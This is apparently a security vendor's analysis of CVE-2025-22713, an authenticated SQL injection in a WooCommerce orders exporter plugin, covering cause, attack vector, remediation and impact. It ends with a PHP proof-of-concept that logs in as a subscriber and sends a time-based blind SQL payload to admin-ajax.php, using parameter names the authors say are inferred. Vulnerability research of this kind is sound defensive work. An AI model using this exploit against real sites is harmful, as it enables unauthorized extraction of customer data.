Atomic Edge analysis of CVE-2025-22713 (metadata-based):
This vulnerability is an authenticated SQL injection in the WooCommerce Orders & Customers Exporter plugin for WordPress. The flaw exists in versions up to and including 5.4. It allows attackers with subscriber-level or higher access to execute arbitrary SQL commands, potentially leading to sensitive data extraction from the database. The CVSS score of 6.5 reflects a high confidentiality impact with low attack complexity.
Atomic Edge research infers the root cause is improper neutralization of special elements in an SQL command (CWE-89). The description states insufficient escaping on a user-supplied parameter and a lack of sufficient preparation on an existing SQL query. Without a code diff, this confirms the plugin directly interpolated user input into an SQL statement. The plugin likely used `$wpdb` methods incorrectly, omitting proper placeholder usage with `prepare()`, or constructed queries via string concatenation.
Exploitation requires an authenticated session. The attacker would send a crafted HTTP request to a plugin-specific endpoint, such as an AJAX handler or admin POST handler. A probable vector is `/wp-admin/admin-ajax.php` with an `action` parameter like `woocommerce_orders_ei_export` or similar. The malicious SQL payload would be appended to a vulnerable parameter, such as `order_id` or `export_fields`. Example payloads include union-based queries or time-based blind injection techniques using `SLEEP()`.
Remediation requires using WordPress database API best practices. The fix must ensure all SQL queries are prepared statements using `$wpdb->prepare()`. User input must be validated and escaped before inclusion in database operations. Parameterized queries should replace any string concatenation. The plugin should also enforce strict capability checks, though the vulnerability already requires authentication.
Successful exploitation compromises database confidentiality. Attackers can extract sensitive information including customer PII, order details, and payment metadata. In a WordPress context, this could extend to hashed user passwords from the `wp_users` table or WooCommerce session tokens. Data exposure may facilitate further attacks like account takeover or financial fraud. The attack does not directly allow data modification or privilege escalation according to the CVSS vector.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-22713 - WooCommerce Orders & Customers Exporter <= 5.4 - Authenticated (Subscriber+) SQL Injection
<?php
/**
* Proof of Concept for CVE-2025-22713.
* ASSUMPTIONS: The vulnerable endpoint is an AJAX handler.
* The vulnerable parameter is 'export_id' or similar, passed via POST.
* The plugin slug 'woocommerce-orders-ei' suggests an AJAX action prefix.
* This is a time-based blind SQL injection demonstration.
*/
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Get login nonce (simplified - real PoC would parse the login page)
curl_setopt($ch, CURLOPT_URL, $target_url . '?action=logout');
$login_page = curl_exec($ch);
// Step 2: Authenticate (simplified POST to wp-login.php)
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]));
$login_response = curl_exec($ch);
// Step 3: Craft SQL injection payload (time-based blind)
// Inferred parameter name 'export_id'. Payload triggers a 5-second delay if injection succeeds.
$malicious_payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- ";
// Step 4: Send exploit request to the plugin's AJAX endpoint
// Inferred AJAX action: 'woocommerce_orders_ei_export_action' or similar.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'woocommerce_orders_ei_export', // This is an inferred value
'export_id' => $malicious_payload, // This is an inferred parameter
'nonce' => 'dummy_nonce' // Nonce may be required but could be bypassed
]));
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
// Step 5: Check for time delay indicating successful injection
if ($elapsed >= 5) {
echo "[+] Potential SQL Injection successful. Response delayed by " . round($elapsed, 2) . " seconds.n";
echo "[+] Response snippet: " . substr($response, 0, 200) . "n";
} else {
echo "[-] Injection may have failed or endpoint/parameter incorrect. Time: " . round($elapsed, 2) . "sn";
}
curl_close($ch);
?>
